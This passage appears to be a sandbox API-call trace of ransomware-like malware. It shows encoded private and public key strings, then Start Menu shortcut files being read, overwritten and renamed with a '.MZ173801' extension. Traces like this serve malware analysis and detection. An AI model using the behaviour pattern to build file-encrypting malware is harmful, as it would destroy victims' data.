DsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0212.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0212.799] GetCurrentThreadId () returned 0xab4 [0212.799] GetCurrentThreadId () returned 0xab4 [0212.799] GetCurrentThreadId () returned 0xab4 [0212.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0212.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0212.800] GetCurrentThreadId () returned 0xab4 [0212.800] GetCurrentThreadId () returned 0xab4 [0212.801] GetCurrentThreadId () returned 0xab4 [0212.801] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows fax and scan.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.801] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0212.801] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.801] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x448 [0212.801] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.801] ReadFile (in: hFile=0x330, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x448, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x448, lpOverlapped=0x0) returned 1 [0212.810] CloseHandle (hObject=0x330) returned 1 [0212.811] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows fax and scan.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.906] WriteFile (in: hFile=0x330, lpBuffer=0x24cae00*, nNumberOfBytesToWrite=0x448, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24cae00*, lpNumberOfBytesWritten=0x19f48c*=0x448, lpOverlapped=0x0) returned 1 [0212.907] CloseHandle (hObject=0x330) returned 1 [0212.907] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows fax and scan.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Fax and Scan.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows fax and scan.lnk.mz173801")) returned 1 [0212.908] GetCurrentThreadId () returned 0xab4 [0212.908] GetCurrentThreadId () returned 0xab4 [0212.908] GetCurrentThreadId () returned 0xab4 [0212.908] GetCurrentThreadId () returned 0xab4 [0212.908] GetCurrentThreadId () returned 0xab4 [0212.908] GetCurrentThreadId () returned 0xab4 [0212.908] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xf78d700, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows Media Player.lnk", cAlternateFileName="")) returned 1 [0212.908] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0212.908] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0212.908] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows media player.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xf78d700, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x543)) returned 1 [0212.909] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows media player.lnk")) returned 0x20 [0212.909] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Media Player.lnk", dwFileAttributes=0x80) returned 1 [0212.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0212.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhx